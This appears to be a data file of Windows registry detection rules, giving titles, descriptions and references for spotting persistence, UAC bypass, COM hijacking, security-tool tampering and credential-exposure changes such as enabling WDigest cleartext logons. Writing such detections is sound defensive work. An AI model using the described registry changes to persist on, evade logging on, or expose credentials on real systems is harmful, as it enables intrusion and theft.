Office Macros Warning Disabled	Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.	https://twitter.com/inversecos/status/1494174785621819397, https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/, https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
MaxMpxCt Registry Value Changed	Detects changes to the "MaxMpxCt" registry value. MaxMpxCt specifies the maximum outstanding network requests for the server per client, which is used when negotiating a Server Message Block (SMB) connection with a client. Note if the value is set beyond 125 older Windows 9x clients will fail to negotiate. Ransomware threat actors and operators (specifically BlackCat) were seen increasing this value in order to handle a higher volume of traffic.	https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps, https://securityscorecard.com/research/deep-dive-into-alphv-blackcat-ransomware, https://www.intrinsec.com/alphv-ransomware-gang-analysis/?cn-reloaded=1, https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/
Potential Persistence Using DebugPath	Detects potential persistence using Appx DebugPath	https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/, https://github.com/rootm0s/WinPwnage
Potential Persistence Via AppCompat RegisterAppRestart Layer	Detects the setting of the REGISTERAPPRESTART compatibility layer on an application. This compatibility layer allows an application to register for restart using the "RegisterApplicationRestart" API. This can be potentially abused as a persistence mechanism.	https://github.com/nasbench/Misc-Research/blob/d114d6a5e0a437d3818e492ef9864367152543e7/Other/Persistence-Via-RegisterAppRestart-Shim.md
Potential Persistence Via App Paths Default Property	Detects changes to the "Default" property for keys located in the \Software\Microsoft\Windows\CurrentVersion\App Paths\ registry. Which might be used as a method of persistence The entries found under App Paths are used primarily for the following purposes. First, to map an application's executable file name to that file's fully qualified path. Second, to prepend information to the PATH environment variable on a per-application, per-process basis.	https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/, https://learn.microsoft.com/en-us/windows/win32/shell/app-registration
Potential Persistence Via AutodialDLL	Detects change the the "AutodialDLL" key which could be used as a persistence method to load custom DLL via the "ws2_32" library	https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/, https://persistence-info.github.io/Data/autodialdll.html
Potential Persistence Via CHM Helper DLL	Detects when an attacker modifies the registry key "HtmlHelp Author" to achieve persistence	https://persistence-info.github.io/Data/htmlhelpauthor.html, https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/
Potential PSFactoryBuffer COM Hijacking	Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL.	https://blogs.blackberry.com/en/2023/06/romcom-resurfaces-targeting-ukraine, https://strontic.github.io/xcyclopedia/library/clsid_C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6.html, https://www.virustotal.com/gui/file/6d3ab9e729bb03ae8ae3fcd824474c5052a165de6cb4c27334969a542c7b261d/detection, https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html
COM Object Hijacking Via Modification Of Default System CLSID Default Value	Detects potential COM object hijacking via modification of default system CLSID.	https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea), https://unit42.paloaltonetworks.com/snipbot-romcom-malware-variant/, https://blog.talosintelligence.com/uat-5647-romcom/, https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/darkhotel-a-cluster-of-groups-united-by-common-techniques, https://threatbook.io/blog/Analysis-of-APT-C-60-Attack-on-South-Korea
Potential Persistence Via Custom Protocol Handler	Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism.	https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/
Potential Persistence Via Event Viewer Events.asp	Detects potential registry persistence technique using the Event Viewer "Events.asp" technique	https://twitter.com/nas_bench/status/1626648985824788480, https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.InternetCommunicationManagement::EventViewer_DisableLinks, https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/, https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1112/T1112.md
Potential Persistence Via GlobalFlags	Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys	https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/, https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
Modification of IE Registry Settings	Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry
Register New IFiltre For Persistence	Detects when an attacker registers a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files.	https://persistence-info.github.io/Data/ifilters.html, https://twitter.com/0gtweet/status/1468548924600459267, https://github.com/gtworek/PSBits/tree/master/IFilter, https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308
Potential Persistence Via LSA Extensions	Detects when an attacker modifies the "REG_MULTI_SZ" value named "Extensions" to include a custom DLL to achieve persistence via lsass. The "Extensions" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.	https://persistence-info.github.io/Data/lsaaextension.html, https://twitter.com/0gtweet/status/1476286368385019906
Potential Persistence Via Mpnotify	Detects when an attacker register a new SIP provider for persistence and defense evasion	https://persistence-info.github.io/Data/mpnotify.html, https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek
Potential Persistence Via Excel Add-in - Registry	Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started.	https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md, https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence
Potential Persistence Via MyComputer Registry Keys	Detects modification to the "Default" value of the "MyComputer" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)	https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/
Potential Persistence Via TypedPaths	Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt	https://twitter.com/dez_/status/1560101453150257154, https://forensafe.com/blogs/typedpaths.html
Potential Persistence Via Outlook Today Page	Detects potential persistence activity via outlook today page. An attacker can set a custom page to execute arbitrary code and link to it via the registry values "URL" and "UserDefinedUrl".	https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=74, https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change
Potential Persistence Via Scrobj.dll COM Hijacking	Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md
Potential WerFault ReflectDebugger Registry Value Abuse	Detects potential WerFault "ReflectDebugger" registry value abuse for persistence.	https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html, https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/
Potential Persistence Via Visual Studio Tools for Office	Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.	https://twitter.com/_vivami/status/1347925307643355138, https://vanmieghem.io/stealth-outlook-persistence/
Suspicious Shim Database Patching Activity	Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence.	https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/, https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
PowerShell Script Execution Policy Enabled	Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.	https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableScripts
Potential Attachment Manager Settings Associations Tamper	Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)	https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738, https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465
Potential Persistence Via Outlook Home Page	Detects potential persistence activity via outlook home page. An attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys.	https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70, https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us, https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change
Potential Persistence Via DLLPathOverride	Detects when an attacker adds a new "DLLPathOverride" value to the "Natural Language" key in order to achieve persistence which will get invoked by "SearchIndexer.exe" process	https://persistence-info.github.io/Data/naturallanguage6.html, https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/
Potential Persistence Via Shim Database In Uncommon Location	Detects the installation of a new shim database where the file is located in a non-default location	https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html, https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/, https://www.blackhat.com/docs/asia-14/materials/Erickson/Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf
Potential Attachment Manager Settings Attachments Tamper	Detects tampering with attachment manager settings policies attachments (See reference for more information)	https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738, https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465
PowerShell as a Service in Registry	Detects that a powershell code is written to the registry as a service.	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Potential Persistence Via Shim Database Modification	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb, https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html, https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/
Potential PowerShell Execution Policy Tampering	Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3
Suspicious Powershell In Registry Run Keys	Detects potential PowerShell commands or code within registry run keys	https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry, https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
PowerShell Logging Disabled Via Registry Key Tampering	Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled
Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG	Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".	https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/, https://twitter.com/0gtweet/status/1674399582162153472
Usage of Renamed Sysinternals Tools - RegistrySet	Detects non-sysinternals tools setting the "accepteula" key which normally is set on sysinternals tool execution	Internal Research
ETW Logging Disabled For rpcrt4.dll	Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll	http://redplait.blogspot.com/2020/07/whats-wrong-with-etw.html
Potentially Suspicious Command Executed Via Run Dialog Box - Registry	Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.	https://medium.com/@ahmed.moh.farou2/fake-captcha-campaign-on-arabic-pirated-movie-sites-delivers-lumma-stealer-4f203f7adabf, https://medium.com/@shaherzakaria8/downloading-trojan-lumma-infostealer-through-capatcha-1f25255a0e71, https://www.forensafe.com/blogs/runmrukey.html, https://redcanary.com/blog/threat-intelligence/intelligence-insights-october-2024/
ScreenSaver Registry Key Set	Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl	https://twitter.com/VakninHai/status/1517027824984547329, https://twitter.com/pabraeken/status/998627081360695297, https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files
Potential SentinelOne Shell Context Menu Scan Command Tampering	Detects potentially suspicious changes to the SentinelOne context menu scan command by a process other than SentinelOne.	https://mrd0x.com/sentinelone-persistence-via-menu-context/
ETW Logging Disabled For SCM	Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM)	http://redplait.blogspot.com/2020/07/whats-wrong-with-etw.html
ServiceDll Hijack	Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time, https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/
Registry Explorer Policy Modification	Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md
Persistence Via New SIP Provider	Detects when an attacker register a new SIP provider for persistence and defense evasion	https://persistence-info.github.io/Data/codesigning.html, https://github.com/gtworek/PSBits/tree/master/SIP, https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
Tamper With Sophos AV Registry Keys	Detects tamper attempts to sophos av functionality via registry key modification	https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/
Hiding User Account Via SpecialAccounts Registry Key	Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.	https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/, https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md
Activate Suppression of Windows Security Center Notifications	Detect set Notification_Suppress to 1 to disable the Windows security center notification	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
Suspicious Environment Variable Has Been Registered	Detects the creation of user-specific or system-wide environment variables via the registry. Which contains suspicious commands and strings	https://infosec.exchange/@sbousseaden/109542254124022664
Suspicious Keyboard Layout Load	Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only	https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index, https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files
Potential PendingFileRenameOperations Tampering	Detect changes to the "PendingFileRenameOperations" registry key from uncommon or suspicious images locations to stage currently used files for rename or deletion after reboot.	https://any.run/report/3ecd4763ffc944fdc67a9027e459cd4f448b1a8d1b36147977afaf86bbf2a261/64b0ba45-e7ce-423b-9a1d-5b4ea59521e6, https://devblogs.microsoft.com/scripting/determine-pending-reboot-statuspowershell-style-part-1/, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc960241(v=technet.10)?redirectedfrom=MSDN, https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html, https://www.trendmicro.com/en_us/research/19/i/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html
Suspicious Printer Driver Empty Manufacturer	Detects a suspicious printer driver installation with an empty Manufacturer value	https://twitter.com/SBousseaden/status/1410545674773467140
Registry Persistence via Explorer Run Key	Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder	https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/
New RUN Key Pointing to Suspicious Folder	Detects suspicious new RUN key element pointing to an executable in a suspicious folder	https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
Suspicious Service Installed	Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)	https://web.archive.org/web/20200419024230/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/
Modify User Shell Folders Startup Value	Detect modification of the startup key to a path where a payload could be stored to be launched during startup	https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md
Enable LM Hash Storage	Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.	https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a, https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password, https://www.sans.org/blog/protecting-privileged-domain-accounts-lm-hashes-the-good-the-bad-and-the-ugly/
Scheduled TaskCache Change by Uncommon Program	Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://labs.f-secure.com/blog/scheduled-task-tampering/
Potential Registry Persistence Attempt Via Windows Telemetry	Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.	https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/
RDP Sensitive Settings Changed to Zero	Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc.	https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html, http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/, https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03, https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html, https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/, http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/, https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services
RDP Sensitive Settings Changed	Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc	https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html, http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/, https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03, https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html, https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/, http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/, https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services, https://blog.sekoia.io/darkgate-internals/, https://github.com/redcanaryco/atomic-red-team/blob/02c7d02fe1f1feb0fc7944550408ea8224273994/atomics/T1112/T1112.md#atomic-test-63---disable-remote-desktop-anti-alias-setting-through-registry, https://github.com/redcanaryco/atomic-red-team/blob/02c7d02fe1f1feb0fc7944550408ea8224273994/atomics/T1112/T1112.md#atomic-test-64---disable-remote-desktop-security-settings-through-registry
New TimeProviders Registered With Uncommon DLL Name	Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md
Old TLS1.0/TLS1.1 Protocol Version Enabled	Detects applications or users re-enabling old TLS versions by setting the "Enabled" value to "1" for the "Protocols" registry key.	https://techcommunity.microsoft.com/t5/windows-it-pro-blog/tls-1-0-and-tls-1-1-soon-to-be-disabled-in-windows/ba-p/3887947
COM Hijacking via TreatAs	Detect modification of TreatAs key to enable "rundll32.exe -sta" command	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md, https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s
Potential Signing Bypass Via Windows Developer Features - Registry	Detects when the enablement of developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.	https://twitter.com/malmoeb/status/1560536653709598721, https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
UAC Bypass via Event Viewer	Detects UAC bypass method using Windows event viewer	https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/, https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100
UAC Bypass via Sdclt	Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)	https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/, https://github.com/hfiref0x/UACME
UAC Bypass Abusing Winsat Path Parsing - Registry	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)	https://github.com/hfiref0x/UACME
UAC Bypass Using Windows Media Player - Registry	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)	https://github.com/hfiref0x/UACME
UAC Disabled	Detects when an attacker tries to disable User Account Control (UAC) by setting the registry value "EnableLUA" to 0.	https://github.com/redcanaryco/atomic-red-team/blob/7e11e9b79583545f208a6dc3fa062f2ed443d999/atomics/T1548.002/T1548.002.md
UAC Notification Disabled	Detects when an attacker tries to disable User Account Control (UAC) notification by tampering with the "UACDisableNotify" value. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. When "UACDisableNotify" is set to 1, UAC prompts are suppressed.	https://github.com/redcanaryco/atomic-red-team/blob/7e11e9b79583545f208a6dc3fa062f2ed443d999/atomics/T1548.002/T1548.002.md, https://securityintelligence.com/x-force/x-force-hive0129-targeting-financial-institutions-latam-banking-trojan/
UAC Secure Desktop Prompt Disabled	Detects when an attacker tries to change User Account Control (UAC) elevation request destination via the "PromptOnSecureDesktop" value. The "PromptOnSecureDesktop" setting specifically determines whether UAC prompts are displayed on the secure desktop. The secure desktop is a separate desktop environment that's isolated from other processes running on the system. It's designed to prevent malicious software from intercepting or tampering with UAC prompts. When "PromptOnSecureDesktop" is set to 0, UAC prompts are displayed on the user's current desktop instead of the secure desktop. This reduces the level of security because it potentially exposes the prompts to manipulation by malicious software.	https://github.com/redcanaryco/atomic-red-team/blob/7e11e9b79583545f208a6dc3fa062f2ed443d999/atomics/T1548.002/T1548.002.md
VBScript Payload Stored in Registry	Detects VBScript content stored into registry keys as seen being used by UNC2452 group	https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
Wdigest Enable UseLogonCredential	Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to enable clear-text credentials	https://threathunterplaybook.com/hunts/windows/190510-RegModWDigestDowngrade/notebook.html, https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649, https://github.com/redcanaryco/atomic-red-team/blob/73fcfa1d4863f6a4e17f90e54401de6e30a312bb/atomics/T1112/T1112.md#atomic-test-3---modify-registry-to-store-logon-credentials
Execution DLL of Choice Using WAB.EXE	This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.	https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml, https://twitter.com/Hexacorn/status/991447379864932352, http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/
Disable Windows Defender Functionalities Via Registry Keys	Detects when attackers or tools disable Windows Defender functionalities via the Windows registry	https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/, https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105, https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker, https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html, https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html, https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html, https://securelist.com/key-group-ransomware-samples-and-telegram-schemes/114025/
Winget Admin Settings Modification	Detects changes to the AppInstaller (winget) admin settings. Such as enabling local manifest installations or disabling installer hash checks	https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget, https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCommonCore/Public/winget/AdminSettings.h#L13
Enable Local Manifest Installation With Winget	Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.	https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
Winlogon Notify Key Logon Persistence	Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell
Winlogon AllowMultipleTSSessions Enable	Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users	http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
Sysmon Configuration Change	Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration	https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
Sysmon Configuration Error	Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html
Sysmon Configuration Modification	Detects when an attacker tries to hide from Sysmon by disabling or stopping it	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html
Sysmon Blocked Executable	Triggers on any Sysmon "FileBlockExecutable" event, which indicates a violation of the configured block policy	https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e
Sysmon Blocked File Shredding	Triggers on any Sysmon "FileBlockShredding" event, which indicates a violation of the configured shredding policy.	https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
Sysmon File Executable Creation Detected	Triggers on any Sysmon "FileExecutableDetected" event, which triggers every time a PE that is monitored by the config is created.	https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon, https://medium.com/@olafhartong/sysmon-15-0-file-executable-detected-40fd64349f36
